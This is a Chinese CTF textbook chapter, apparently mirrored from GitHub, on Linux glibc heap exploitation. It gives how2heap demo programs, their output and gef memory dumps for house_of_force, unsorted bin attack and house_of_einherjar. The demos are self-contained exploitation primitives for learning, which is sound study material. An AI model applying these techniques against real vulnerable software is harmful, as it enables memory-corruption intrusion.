mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-10-19 09:22:51 +07:00
360 lines
16 KiB
Markdown
360 lines
16 KiB
Markdown
# 3.3.7 Linux 堆利用(下)
|
||
|
||
- [how2heap](#how2heap)
|
||
- [house_of_force](#house_of_force)
|
||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||
- [house_of_einherjar](#house_of_einherjar)
|
||
- [house_of_orange](#house_of_orange)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||
|
||
## how2heap
|
||
#### house_of_force
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdint.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdint.h>
|
||
#include <malloc.h>
|
||
|
||
char bss_var[] = "This is a string that we want to overwrite.";
|
||
|
||
int main() {
|
||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||
|
||
intptr_t *p1 = malloc(0x10);
|
||
int real_size = malloc_usable_size(p1);
|
||
memset(p1, 'A', real_size);
|
||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||
|
||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||
ptr_top[0] = -1;
|
||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||
|
||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||
void *new_ptr = malloc(evil_size);
|
||
int real_size_new = malloc_usable_size(new_ptr);
|
||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||
|
||
void* ctr_chunk = malloc(0x30);
|
||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||
|
||
fprintf(stderr, "old string: %s\n", bss_var);
|
||
strcpy(ctr_chunk, "YEAH!!!");
|
||
fprintf(stderr, "new string: %s\n", bss_var);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g house_of_force.c
|
||
$ ./a.out
|
||
We will overwrite a variable at 0x601080
|
||
|
||
Let's allocate the first chunk of 0x10 bytes: 0x824010.
|
||
Real size of our allocated chunk is 0x18.
|
||
|
||
Overwriting the top chunk size with a big value so the malloc will never call mmap.
|
||
Old size of top chunk: 0x20fe1
|
||
New size of top chunk: 0xffffffffffffffff
|
||
|
||
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
|
||
As expected, the new pointer is at the same place as the old top chunk: 0x824030
|
||
malloc(0x30) => 0x601080!
|
||
|
||
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
|
||
old string: This is a string that we want to overwrite.
|
||
new string: YEAH!!!
|
||
```
|
||
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。
|
||
|
||
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
chunk 1 真实可用的内存有 0x18 字节。
|
||
|
||
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
改写之后的 size==0xffffffff。
|
||
|
||
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0xfffffffffffff051
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||
0x601060: 0x4141414141414141 0x4141414141414141
|
||
0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
|
||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||
0x6010b0: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
|
||
```
|
||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||
0x601060: 0x4141414141414141 0x4141414141414141
|
||
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
|
||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
|
||
```
|
||
|
||
#### unsorted_bin_attack
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
int main() {
|
||
unsigned long stack_var = 0;
|
||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||
|
||
unsigned long *p = malloc(0x80);
|
||
unsigned long *p1 = malloc(0x10);
|
||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||
|
||
free(p);
|
||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||
|
||
p[1] = (unsigned long)(&stack_var - 2);
|
||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||
|
||
malloc(0x80);
|
||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g unsorted_bin_attack.c
|
||
$ ./a.out
|
||
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
|
||
|
||
Now, we allocate first small chunk on the heap at: 0x1066010
|
||
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
|
||
We write it with the target address-0x10: 0x7ffc9b1d61a0
|
||
|
||
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
|
||
```
|
||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||
|
||
unlink 的对 unsorted bin 的操作是这样的:
|
||
```c
|
||
/* remove from unsorted list */
|
||
unsorted_chunks (av)->bk = bck;
|
||
bck->fd = unsorted_chunks (av);
|
||
```
|
||
其中 `bck = victim->bk`。
|
||
|
||
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
|
||
```
|
||
gef➤ x/26gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
|
||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000000
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000000
|
||
0x602050: 0x0000000000000000 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000000000
|
||
0x602070: 0x0000000000000000 0x0000000000000000
|
||
0x602080: 0x0000000000000000 0x0000000000000000
|
||
0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
|
||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx &stack_var-2
|
||
0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
|
||
0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
|
||
```
|
||
|
||
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
|
||
```
|
||
gef➤ x/26gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
|
||
0x602020: 0x0000000000000000 0x0000000000000000
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000000
|
||
0x602050: 0x0000000000000000 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000000000
|
||
0x602070: 0x0000000000000000 0x0000000000000000
|
||
0x602080: 0x0000000000000000 0x0000000000000000
|
||
0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
|
||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx &stack_var-2
|
||
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
|
||
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
|
||
```
|
||
从而泄漏了 unsorted bin 的头部地址。
|
||
|
||
#### house_of_einherjar
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdint.h>
|
||
#include <malloc.h>
|
||
|
||
int main() {
|
||
uint8_t *a, *b, *d;
|
||
|
||
a = (uint8_t*) malloc(0x10);
|
||
int real_a_size = malloc_usable_size(a);
|
||
memset(a, 'A', real_a_size);
|
||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||
|
||
size_t fake_chunk[6];
|
||
fake_chunk[0] = 0x80;
|
||
fake_chunk[1] = 0x80;
|
||
fake_chunk[2] = (size_t) fake_chunk;
|
||
fake_chunk[3] = (size_t) fake_chunk;
|
||
fake_chunk[4] = (size_t) fake_chunk;
|
||
fake_chunk[5] = (size_t) fake_chunk;
|
||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||
|
||
b = (uint8_t*) malloc(0xf8);
|
||
int real_b_size = malloc_usable_size(b);
|
||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||
a[real_a_size] = 0;
|
||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||
|
||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||
|
||
fake_chunk[1] = fake_size;
|
||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||
|
||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||
free(b);
|
||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||
|
||
d = malloc(0x10);
|
||
memset(d, 'A', 0x10);
|
||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g house_of_einherjar.c
|
||
$ ./a.out
|
||
We allocate 0x10 bytes for 'a': 0xb31010
|
||
|
||
Our fake chunk at 0x7ffdb337b7f0 looks like:
|
||
prev_size: 0x80
|
||
size: 0x80
|
||
fwd: 0x7ffdb337b7f0
|
||
bck: 0x7ffdb337b7f0
|
||
fwd_nextsize: 0x7ffdb337b7f0
|
||
bck_nextsize: 0x7ffdb337b7f0
|
||
|
||
We allocate 0xf8 bytes for 'b': 0xb31030
|
||
b.size: 0x101
|
||
We overflow 'a' with a single null byte into the metadata of 'b'
|
||
b.size: 0x100
|
||
|
||
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
|
||
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
|
||
|
||
Modify fake chunk's size to reflect b's new prev_size
|
||
Now we free b and this will consolidate with our fake chunk
|
||
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
|
||
|
||
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
|
||
```
|
||
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
|
||
|
||
首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
|
||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
|
||
```
|
||
|
||
接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
|
||
|
||
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
|
||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
|
||
```
|
||
|
||
释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
|
||
```
|
||
gef➤ heap arenas
|
||
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
|
||
```
|
||
合并的过程在 poison-null-byte 那里也讲过了。
|
||
|
||
最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
|
||
```
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
|
||
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
|
||
```
|
||
|
||
#### house_of_orange
|
||
|
||
|
||
## 参考资料
|